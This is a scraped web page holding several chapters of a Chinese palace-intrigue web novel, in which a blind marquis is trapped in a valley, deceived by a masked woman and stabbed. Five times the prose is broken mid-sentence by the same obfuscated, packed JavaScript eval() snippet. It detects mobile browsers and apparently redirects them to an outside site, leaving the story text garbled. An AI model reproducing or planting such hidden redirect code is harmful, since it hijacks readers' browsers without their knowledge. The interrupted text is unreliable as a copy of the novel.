云承月包扎的手都慢了下来,他看着那张与秦绵绵酷似的脸,却只觉得陌生又危险。 这女子,是把杀戮刻进了骨子里。 裴应见没有动,他只是朝着火光的方向,静静地“听”着。 听着**划开皮肉的细微声响,听着骨骼被利落卸下的脆音,也闻着那股越来越霸道的烤肉香气。 这香气,对腹中空空的人来说,是极致的诱惑,也是致命的**。 “你就不怕这肉香把山下的官兵引来?”青义终于忍不住,咬着牙讥讽道,“到时候咱们都成了瓮中之鳖!” 咕噜—— 话音刚落,他自己的肚子却不合时宜地发出响亮的**。 青义的脸瞬间涨成了猪肝色,恨不得找条地缝钻进去。 秦月娘终于有了反应。 她头也未抬,只用**尖挑起块烤得滋滋冒油、外皮焦黄的虎肉,随手朝青义的方向一扔。 那块肉在空中划出抛物线,精准地落在他脚边。 她这才掀起眼皮,冷漠地扫了他眼,吐出几个字:“闭嘴,吃。” 青义的怒火与**在腹中的饥饿感面前,溃不成军。 他死死瞪着秦月娘。 秦月娘没再理他,又割下几块肉,串在树枝上,架在火上翻烤。 不多时,她将其中最大的一块递向裴应见的方向。 裴应见没有接。 青义和青川都看向他,等着他发话。 云承月也低声道:“侯爷……” “吃吧。”裴应见终于开口,声音听不出情绪,“吃完,赶路。” 得了许可,青义和青川也不再客气。 青义捡起那块滚烫的虎肉,也顾不得烫嘴,狠狠咬了下去。 肉质紧实,带着野兽特有的劲道,烤得外焦里嫩,满口油香。 他从未觉得,有什么东西会这么好吃。 一边吃还不忘给青川分一点。 云承月也接过秦月娘递来的肉,分给了裴应见,自己也拿了块。 几人围着火堆,默默地啃食着这来之不易的食物。 云承月一边吃,一边不动声色地观察着不远处的秦月娘。 她自己也拿了块肉,吃得很慢,眉眼间依旧是化不开的冰霜。 火光跳跃在她脸上,让她那份冷峭显得愈发清晰。 云承月心底忽然涌起个荒唐的念头。 这个秦月娘,和那个异世界的秦绵绵……真的很像。 一样的杀伐果断,一样的狠。 只是,秦绵绵的狠,是对敌人,是为了守护自己在乎的人。 而这个秦月娘,她的狠仿佛是对着整个世界,也包括她自己。 她就像是……在冰窖里被养大的秦绵绵。 没有感受过暖阳,没有得到过善意,所以浑身都长满了保护自己的冰刺。 可她又似乎在变。 尤其是她在与裴应见这段时间的纠缠之后,能明显的感觉到,这坚冰般的女子,好像也出现了一丝裂痕。 …… 一顿饱餐后,众人体力恢复不少。 秦月娘将火堆彻底熄灭,用泥土掩埋,不留半点痕迹。 她率先起身,言简意赅:“走。” 夜路比白日更难走百倍。 山林里伸手不见五指,脚下是盘错的树根和湿滑的苔藓,稍有不慎便会摔倒。 青义本就有伤在身,又失血过多,此刻更是头重脚轻,接连踉跄了几次,最后脚下被根藤蔓绊住,重重摔在地上,发出一声闷哼。 “青义!”云承月连忙去扶。 裴应见停下脚步,侧耳听着后方的动静,眉头紧锁。 黑暗中,云承月的声音焦急: “侯爷,青义的伤口恐怕又裂开了。天太黑了,再这么下去不是办法。” 他顿了顿,像是下定了决心:“我有个东西,或许能照亮。” 裴应见有些意外,但还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373236|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉声道:“拿出来。” 云承月从怀里摸索了阵,掏出个黑色的、巴掌大小的圆筒状物件。 裴应见看不真切,只能凭感觉判断那东西非金非铁,质地古怪。 他正疑惑间,只听“咔哒”声轻响。 下一瞬,一道雪白刺目的光柱猛地从那圆筒中射出,瞬间撕裂了浓稠的夜幕,将前方数丈的崎岖山路照得亮如白昼。 那光芒还纯粹、稳定,不似火光跳跃,更非月色朦胧,带着种全然不属于这个时代的冰冷与精准。 裴应见惊得呆了一瞬。 他眼前那片模糊的光晕,被这突如其来的强光刺激得骤然亮起,惹得他下意识地眯起了眼。 这是……什么东西? “此物……从何而来?”裴应见压下心头的震动,沉声问道。 云承月举着那圆筒,光柱随着他的动作在林间扫过,照出一片诡异的清晰。 “是侯爷您从前……与一位朋友换的。”云承月斟酌着言辞,“只是您忘了。日后若有机会,再与您细说。” 朋友……忘了……裴应见心中一动,瞬间明白。 却强行压下了探究的念头。 他记得那撕裂脑海的剧痛。 他点了点头,不再追问。 秦月娘却也目光沉沉,一直盯着那道光柱,又看看云承月手中的圆筒,冷峭的眸子里,是毫不掩饰的探究与思索。 青义包扎好伤口,见她这副模样,立刻警惕起来,冷哼道:“别动歪心思。那位朋友,是你永远也见不到、更比不上的人……你们啊,一个天上,一个地下。” 秦月娘不为所动,甚至没看青义一眼。 她的目光,越过那道奇异的光,落在了裴应见的侧脸上。 裴应见像是感觉到了什么,微微一顿,随即不动声色地将脸转向另一边,避开了她的注视。 秦月娘的呼吸似乎停滞了一拍,周遭的空气仿佛也都因她而冷了几度。 有了光亮,一行人速度快了许多。 天色蒙蒙亮时,他们终于走出了崎岖的山路,下到一处宽阔的谷底。 秦月娘却忽然停住了脚步。 “我走了。” 第449章 来的竟是她 她言简意赅地开口,“你们顺着谷底一直走,就能出去。” 青义一愣,脱口而出:“这就走了?你不是要护着侯爷吗?” 秦月娘没有回答,只是最后望了裴应见一眼。 那眼神复杂难辨。 而后她转身几个起落,红色的身影便消失在了晨雾弥漫的山林中。 裴应见站在原地,神情也有些说不出的怪异,他皱着眉似乎在思索,秦月娘为什么突然这样变卦。 莫不是…… 云承月见气氛不对,连忙打岔:“好了,咱们也快走吧,天亮了反而容易暴露。” 众人于是继续前行。 可就在秦月娘离开后不过一炷香的功夫,山谷两侧的峭壁之上,忽然传来“轰隆隆”的巨响。 “不好!”云承月脸色大变,猛地抬头。 只见无数巨大的山石,裹挟着泥土,如暴雨般从天而降,朝着他们所在的位置狠狠砸来! “快跑!”青义嘶吼着,拽起云承月便往前冲。 裴应见和青川反应同样迅捷,朝着前方狂奔。 巨石在他们身后不断坠落,砸在地上发出震耳欲聋的轰鸣,整个山谷都在颤抖。 惊险地躲过几块几乎是擦身而过的落石后,四人终于冲出了那片死亡地带。 然而,待他们停下脚步回头望去时,所有人都倒吸一口凉气。 来时的路,与前方的去路,都被堆积如山的巨石彻底堵死。 他们,被困在了这绝地之中。 山谷里死寂一片,只有尘土簌簌下落的细微声响,和众人粗重压抑的喘息。 “这……这是……”青义望着眼前几乎与峭壁连为一体的巨石堆,声音都在发颤,“路……路全没了……” 来路与去路,都被堵得严严实实。 他们像是被装进了一只石头的口袋,再无出路。 晨光从峭壁的缝隙间投下,照亮了空气中漂浮的无数尘埃,也照亮了每个人脸上如出一辙的灰败与绝望。 “是她!一定是那个妖女!”青义猛地反应过来,双目赤红,一拳狠狠砸在身侧的岩壁上,震得伤口又是一阵抽痛,“她算准了时间!她把我们引到这里,就是为了让我们被活埋!好狠毒的心肠!” 云承月张了张嘴,想说秦月娘离开时的神情不似作伪,可话到嘴边又咽了回去。 他不愿替那个冰冷的女人说话。 那个女人,和那个叫秦绵绵的姑娘终究是不一样的。 裴应见却始终沉默着。 他“看”向那堆积如山的乱石,面色在晦暗的光线里看不真切。 许久,他才淡淡开口:“若她要我们死,在山坳时,便不会出手救你。” 一句话,如一盆冷水,浇熄了青义满腔的怒火。 是啊……若秦月娘真想他们死,又何必多此一举,从虎口下救他? 她大可以袖手旁观,等猛虎解决了他们,再从容离去。 青义的脸色由红转白,再由白转青,最终颓然地靠在石壁上,说不出一个字来。 山谷再次陷入令人窒息的沉寂。 就在这时,石堆的另一头,忽然传来一道微弱的女声。 那声音气若游丝,却异常清晰地穿透了石缝。 “裴……侯爷……你在里面吗?” 这声音! 青义浑身一僵,猛地从地上弹了起来,脸上满是不可置信的神色。 来人竟是……姜飞飞! 他太记得姜飞飞的声音了。 他可从来没忘记曾经在姜飞飞手里吃过的亏,以及她那太具有迷惑性柔弱外表。 “沙……沙沙……” 紧接着,外面传来一阵挖掘石土的声响,伴随着姜飞飞虚弱却执拗的声音: “你们别怕,我……我很快就能救你们出去……” 她的声音听起来上气不接下气,仿佛随时都会断掉。 “侯爷!别信她!”青义立刻警惕起来,压低声音道,“您忘了?她可是那个面具怪人的妹妹!他们是一伙的!” 之前经过裴应见的解释,众人早已知晓,那个一次次布下杀局、害得侯爷险些丧命的面具男人,竟是姜飞飞的兄长。 姜飞飞是他流落在外的亲妹妹,如今已经和他相认。 可她却为什么也会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我知你们不信我……可我与兄长并非一路人。我怕他对你不利,又分身乏术,才偷放了秦月娘出来,暗中护你周全……谁知那个女人竟是个疯子!她不知为何突然反水,想要置你于死地!我得了消息,心急如焚地追过来,想拦住她,却反被她打伤……差一点,就死在她手上了。” 这一番话说得合情合理,天衣无缝。 它解释了秦月娘为何会出现,又为何会救人,最后又为何将他们引到绝路——因为她是个受托办事、却又中途变卦的疯子。 而姜飞飞,则从一个立场不明的危险人物,摇身一变成了在背后默默守护、甚至不惜以身犯险的多情女子。 云承月与青义对视一眼,都在对方眼中看到了浓浓的惊疑。 裴应见依旧沉默着,那张在昏暗光线下看不清神情的脸,宛如一尊没有情绪的石像。 “原来……是这样……”他终于开口,声音听不出喜怒,反而带着一丝恰到好处的恍然与疲惫,“那便……有劳姜姑娘了。” 他朝着声音的方向走近几步,扬声道:“我们被困在此处,还请姜姑娘施以援手。我等也会在这边一同挖掘,内外合力,也好尽快脱困。” “侯爷放心!”石堆外的姜飞飞立刻应声,声音里充满了喜悦与动力,“我这就开始!” “沙沙……沙沙……” 挖掘石土的声音再次响起,比之前更急切了些。 裴应见“听”着那声音,缓缓转过身。 他没有说话,只是抬起手,朝着云承月和青义,指向了他们身后,完全相反的另一侧石壁。 同时做了一个口型。 ——挖。 ——快。 青义三人瞬间会意,立刻转身扑向身后的石堆。 他们动作极轻,而裴应见却故意加大了自己这边的挖掘声响,敲挖石块的声音在山谷里回荡,完美掩盖了身后的动静。 石堆外,姜飞飞的声音温柔又镇定: “我这边快通了,你们稍等片刻就好!” 裴应见没有回答,只是机械地重复着挖掘的动作。 他的耳朵却在仔细分辨着两边传来的声响——身后青义三人挖掘的进度,以及石堆外姜飞飞的动静。 时间在紧张的挖掘中缓缓流逝。 “通了!” 几乎是同一时刻,两边都传来了激动的声音。 身后的石堆被青义他们凿开了一个勉强容人通过的洞口,而前方的石堆,也被姜飞飞挖出了一条狭窄的通道。 裴应见朝身后做了个手势,青义三人立刻钻进洞口,消失不见。 “我进来了!”姜飞飞娇弱的声音从通道里传来,伴随着窸窸窣窣的爬行声。 裴应见静静站在原地,等待着。 片刻后,一道纤细的身影从狭窄的石缝中钻了出来。 姜飞飞衣衫褴褛,脸色苍白如纸,左肩处有明显的血迹渗透。 她一出来就险些跌倒,扶着石堆才勉强站稳。 “你……”她抬起头,眼中满含着委屈和欣喜交织的复杂情绪,“你没事就好……” 谁料,话音未落,裴应见已如鬼魅般欺身而上,五指如钳,精准地扣住了她的脉门。 姜飞飞身体一僵。 看了他片刻,随即苦笑道:“你还是不信我……” 她没有挣扎,甚至主动放松了身体,任由裴应见控制。 那副委屈而无奈的模样,像是受了天大的冤屈。 “你若真要杀我,那便杀了吧。”她闭上眼睛,声音里带着绝望的自嘲,“经历了这么多,我与你如此坦诚,你还是不信我……那我也没法子。” “我为何会做这些种种的缘故,你难道真的一点也不知道么……” 裴应见的手指在她脉搏上停留了片刻,眉头微蹙。 她的脉象虚弱紊乱,确实是重伤之象。 而且那肩头的伤口,从角度和深度来看,也确实像是秦月娘的手法。 “你说你与秦月娘遭遇,被她所伤。”裴应见的声音冷淡如冰,“详细说说。” 姜飞飞睁开眼,暗叹一声,回忆道: “我追踪到这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377843|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,正好遇见她从山谷里出来。我上前质问她为何要害你,她却说什么"任务完成",还嘲笑我为她铺了路……” 她的声音越来越弱,仿佛回忆起那场遭遇就痛苦不堪: “我与她动手……但我哪里是她的对手。她一刀刺中我的肩膀,若不是我拼命逃跑……” 说到这里,她看向对面的洞口,看到青义三人早已走掉,她眼中涌起浓浓的自嘲: “现在想来,我确实不该来的……明知道你不会信我,还要自作多情……” “好了,侯爷快走吧,别让我连累了你。” 说完这些话她就闭口不再言语,也闭上了眼睛,一副任杀任剐的模样。 然而裴应见却什么也没说,默然片刻,松开手,转身就向对面洞口走去。 姜飞飞睁开眼,望着他决绝的背影,眼中慢慢涌出泪水。 但她却倔强地别过头,不让他发现自己的眼泪。 而转身的裴应见脚步似乎一顿。 也不知道是不是发现了她的落泪。 就在这时—— 一道红影突然如闪电般,从姜飞飞身后的石缝中窜出! 来人手持寒光闪闪的短刀,直刺姜飞飞的后心要害,招式狠辣至极,分明是要一击毙命! 裴应见眉头一皱,身形瞬间倒射而回,一把扯开了姜飞飞。 接着挡在了她身前,和来人面对面。 来人正是去而复返的秦月娘。 她手中一把短刀,寒光凛冽,直取姜飞飞后心要害。 而且是用了十成十的功力。 若非裴应见反应神速,这一刀必定洞穿了姜飞飞的心脏。 “你——”姜飞飞惊魂未定,然而话音未落,秦月娘又已如附骨之疽般欺身而上。 她招式狠辣,每一刀都奔着要命的地方去。 姜飞飞本就重伤在身,哪里抵挡得住,只能狼狈闪避。 “住手!”裴应见厉声喝止。 秦月娘充耳不闻,短刀划破长空,直刺姜飞飞。 霎时间姜飞飞肩头又添新伤,鲜血飞溅。 第451章 你信她还是信我 姜飞飞闷哼一声,身形踉跄,摔倒在地。 “你……”姜飞飞捂着伤口,声音虚弱,“你真要赶尽杀绝……” 话未说完,秦月娘的短刀却已至咽喉。 眼看就要要了姜飞飞的性命—— 砰! 裴应见一掌拍在秦月娘手腕上,将短刀震开。 秦月娘冷眸如霜,反手就是一记鞭腿,逼得裴应见后退数步。 “你疯了?”裴应见眉头紧锁。 秦月娘没有回答,只是冷冷望着倒在血泊中的姜飞飞。 姜飞飞双眼紧闭,脸色惨白如纸,嘴角溢血,胸膛起伏微弱,生死未卜。 秦月娘却淡漠开口:“她该死。” 仿佛在说今日天气如何。 说着,她伸手,从姜飞飞怀中摸出一个药丸样的东西,举在裴应见面前。 她轻轻将那药丸捏破一角,露出里面细如面粉的白色粉末。 “见血封喉的剧毒。”秦月娘平淡冷漠地道,“再晚一步,你就是神仙也救不活了。” 裴应见瞳孔微缩。 刚才他和姜飞飞还有段距离,但如果姜飞飞靠近,若她真有心害他,这毒粉一撒…… 裴应见眼神渐渐晦暗。 秦月娘静静看着他。 山谷里只有风声呼啸,两人对视无言。 秦月娘依旧是万年不变的冷漠神情,裴应见也微皱眉心,脸色不虞。 但两人对视之间,却似乎有些说不清道不明的东西在两人之间涌动。 空气中弥漫着些难以形容的,奇异的氛围。 而就在此时,地上奄奄一息的姜飞飞突然睁开眼。 “咳咳……”她剧烈咳嗽着,血沫从嘴角溢出,声音虚弱得几不可闻,“裴……别信她……” 裴应见俯身看向她。 “她……她是奉皇帝密令来的……”姜飞飞断断续续地说着,每说一个字都像在拼命,“皇帝……皇帝知道你没死……特意召我兄长入宫……然后……她答应了我替我保护你……实际是来杀你……” 她伸出颤抖的手,想要抓住裴应见的衣袖:“这太巧了……快跑……” 最后一句说完,她便再也没有了力气,躺在地上,大口喘着气,仿佛随时都能失去呼吸。 山谷再次陷入死寂。 裴应见缓缓直起身,混沌的目光落在秦月娘脸上。 对面的秦月娘却依旧面无表情。 既不辩驳,也不解释,只是那双眸子比寒冬腊月还要冷。 “你没有什么话要说?”裴应见问道。 秦月娘:“没有。” “你是皇帝派来的?” “不是。” “那你为何不为自己辩解?” 秦月娘沉默片刻,忽然问道:“你信她,还是信我?” 裴应见却没有回答。 他沉默了。 山谷里的死寂被拉得更长,长得仿佛连风声都已凝固。 他的沉默像一团浓得化不开的墨,将所有人的心都浸入其中。 秦月娘静静地看着他,那张冷峭的脸上看不出丝毫情绪,只是眼底的寒冰似乎裂开了一道微不可察的缝隙。 “你不信我。” 她说的不是问句,而是陈述。 话音未落,她忽然反手一振,从腰间抽出一柄软剑。 那剑身在昏暗的光线下如一泓秋水,随着她手腕的抖动,“嗡”地一声绷得笔直。 她手腕一甩,那柄剑便化作一道寒光,径直朝着裴应见飞去。 当啷! 长剑并未伤人,而是精准地落在了裴应见的手边,裴应见下意识地将剑柄接在了手里。 那剑尖兀自颤动不休,寒光毕露。 “既然不信,”秦月娘的声音比剑锋更冷,“那便杀了我。” 说罢,她竟真的抬步,一步一步,朝着那锋利的剑尖走了过去。 她走得很慢,红色的裙摆拂过地面,像是地狱里盛开的血色莲花。 每一步,都离那能轻易刺穿她咽喉的剑尖更近一分。 裴应见站在原地,一动不动,宛如石雕。 他冷静的目中闪过一丝不易察觉的犹豫。 躺在地上奄奄一息的姜飞飞见状,眼中先是惊疑,随即变成悲愤与嘲讽。 “呵……呵呵……”她虚弱地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377844|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷笑起来,笑声在空旷的山谷里显得格外刺耳,“我真是看错你了,裴应见……我真是瞎了眼……” 她撑着身子,目光死死盯着裴应见,字字泣血: “你忘了她从前是如何羞辱你的?!她害你名声扫地,人人可欺!她害你被夺爵,害你的手下变成哑巴!害你堂堂镇国侯如今沦落至此……你……你竟然还对她心软?” “你竟然对一个毁了你一切的女人,生出了情意?!” “真是天底下最大的笑话!”姜飞飞的声音陡然拔高,带着一种看透一切的讥诮,“枉你也曾名震天下,原来也不过是个被女人**于股掌的蠢货!” 这一番话如最恶毒的诅咒,狠狠戳在裴应见最隐秘的伤疤上。 他周身的气息骤然一冷。 那双没有焦距的眼睛,缓缓“看”向秦月娘,其中翻涌着晦暗不明的寒意。 “你说的对。”他终于开口,声音沙哑而冰冷,“此仇,确实该报。” 话音落下的瞬间,他动了。 他握紧了那柄仍在颤动的长剑。 秦月娘的脚步停了下来,她离剑尖只差一步之遥。 她静静地看着他,似乎在等待他做出最后的裁决。 姜飞飞的嘴角也似乎勾起了一抹得意的、胜利的笑容。 然而,下一刻——裴应见手中的剑锋猛地一转! 一道快得只剩下残影的寒光,并非刺向近在咫尺的秦月娘,而是以一个诡异至极的角度,闪电般划向了他身侧。 噗嗤——! 利刃入肉的声音,轻微却又无比清晰。 姜飞飞脸上的笑容瞬间凝固。 她瞪大了双眼,难以置信地低下头,看着自己胸口处缓缓透出的鲜血。 她张了张嘴,想说什么,却只有血沫不断从口中涌出。 裴应见缓缓抽回长剑,看也不看她,任由她的身体软软倒下,生机迅速流逝。 “我的眼睛是不好,”他背对着倒地的姜飞飞,声音平淡得没有一丝波澜,“可我的耳朵,却比从前好用得多。” “当初在山上,你与你兄长自以为是的密谋,我恰好……听到了一些。” 第452章 心都要碎了吧 他别过头,不再理会那具渐渐冰冷的尸体,目光重新落回秦月娘的方向。 “我更信你。”他望了她许久,终于轻声说道。“你我之间,虽……但我更信你。” 是一种说不清道不明的,莫名其妙的信任。 他自己也说不清楚,仿佛从很久以前,那信任就早就存在了。 那是他无论经历什么事,都不用去怀疑的,最深的信任。 而这句话,也让秦月娘一直紧绷的身体忽然有了一瞬间的松懈。 裴应见却仿佛没有察觉,他将手中的长剑扔在地上,语气里带着一种尘埃落定的疲惫: “你的假死药害我失明,但我不怪你,你是好意,想救我。但我此番落难终究是因为你。今日你救我性命……从此,你我两不相欠。” 他心领了她的好,也记下了她的债。 这句话落下,便就此一笔勾销。 说完,他转过身,朝着青义他们离开的那个洞口走去,背影决绝,再没有半分留恋。 从此陌路,互不相干。 然而,就在他即将踏入洞口的那一刻,一只微凉的手,忽然从身后拉住了他的衣袖。 力道很轻,却让他全身猛地一僵。 裴应见的脚步顿住了。 他没有回头,只是喉结微不可察地滚动了一下,隐忍地看着前方黑暗的洞口,似乎在压抑着什么。 就在这片刻的僵持中,空气里那奇异的氛围再次涌动。 僵持了片刻后,他深吸一口气,又继续往前走。 可是拉着他衣襟的手却好像根本没打算松开。 不仅不松开,反而用力拉的更紧了。 裴应见深深叹了口气,被迫会转身来,望向她。 在昏暗的,即将亮起的天光里,在深谷的呼啸的风声中,他们就这样对视着。 沉默着。 却又好像说了很多很多。 谁知—— 忽然,拉住他衣袖的那只手,骤然松开。 紧接着,一道致命的寒光从他身侧的死角暴起! 噗! 冰冷的铁器,没有丝毫预兆,更没有半分犹豫,狠狠地、精准地刺穿了他的心口! 裴应见身体剧震! 他缓缓低下头,看着自己胸前,那把只剩下刀柄露在外面的**。 鲜血正从伤口处汹涌而出,迅速染红了他胸前的衣襟。 他抬起头,用那双看不清的眼睛,死死“望”着她。 秦月娘就站在他面前,依旧是那副万年不变的冷漠神情,仿佛刚才那穿心一刀与她毫无关系。 时间仿佛在这一刻被拉长,又被凝固。 裴应见能感觉到生命正随着胸口的温热一同流逝。 那把**插得极深,深到在这个瞬间,彻底搅碎了他刚刚意识到的,那对她最深的信任。 他没有痛呼,甚至没有后退。 那双失焦的眼睛,就那样死死地“钉”在秦月娘的脸上,仿佛要用尽最后的气力,看穿这张他早已无法看清的容颜,看穿她那颗比玄铁还要冷硬的心。 为什么? 他没有问出口,可他整个僵直的身体,都在无声地嘶吼着这个问题。 秦月娘面无波澜,手还稳稳地握着刀柄,似乎打算再补上一刀。 “妖女!我杀了你!” 一声怒吼如惊雷炸响,从洞口处传来。 青义三人出了洞,发现外面并没有敌人,便安置好了青川和云承月,迅速去而复返,来帮裴应见。 谁知刚探出头,看到的便是这让他目眦欲裂的一幕。 他想也不想,拔出腰间的佩刀,整个人如一头发了狂的猛兽,朝着秦月娘扑了过去! 刀风凛冽,带着不死不休的决绝。 秦月娘眼神一寒,终于松开**,抽身后退,避开了青义这狂怒的一击。 “侯爷!”青义一刀逼退她,立刻回身扶住摇摇欲坠的裴应见,当他触手摸到那片湿热黏腻时,眼眶瞬间红了,“撑住!侯爷!” 裴应见嘴唇动了动,一口血沫涌了上来,目光却依旧固执地越过青义的肩膀,投向那个红色的身影。 那眼神里,有震惊,有痛楚,更多的,是化不开的荒谬与…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377845|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失望。 秦月娘却并不恋战,她见青义回来,只是冷冷地扫了他们一眼,便几个起落,身影再次没入了石缝之中,消失不见。 “走!侯爷,我们快走!”青义不敢耽搁,架起裴应见,跌跌撞撞地退回了那个狭窄的洞口。 在被拖入黑暗的前一瞬,裴应见一直盯着秦月娘的那双眼,终于无力地闭上了。 山谷中,再次恢复了死寂。 风声呜咽,卷起地上的尘土与血腥气。 片刻后,那道红色的身影却又从石缝中不紧不慢地走了出来。 她走到方才裴应见被刺的地方,低头看了看地上那滩刺目的血迹,嘴角竟缓缓勾起了一抹与她那张冷脸格格不入的,又娇又媚的弧度。 接着她抬起手,在自己脸上轻轻一抹。 那张冷若冰霜的面容,就像一张精巧的面具,被撕了下来。 面具之下,露出的却是姜飞飞那张柔美却又带着病态亢奋的脸! 原来这秦月娘,才是真的姜飞飞。 刚才不过是好一场大戏罢了。 她看了一眼地上已经死透的“姜飞飞”,又看了看手中精巧的**,兀自笑了起来。 “呵呵……呵呵呵呵……” 先是低笑,而后笑声越来越大,越来越畅快。 那笑声又娇媚又冷酷,听起来十分的怪异,在空旷的山谷里回荡,显得分外阴森可怖。 “裴应见啊裴应见,你现在……一定恨死她了吧?”她得意地自言自语,眼中闪烁着疯狂的光芒,“你那句‘我更信你’,真是说得我……心都要碎了呢。” 她模仿着裴应见当时的语气,脸上满是讥讽与快意。 “只可惜,最后捅你一刀的,还是她。” “你此刻,心都要碎了吧,还真是……可怜呢。” 这场戏,她演得太成功了。 从替身假装被秦月娘追杀,到被裴应见“救下”,再到后来她伪装成秦月娘“赶尽杀绝”被裴应见阻止,与他心意相通,最后,再绝地反转,给予他最致命的一击! 环环相扣,天衣无缝!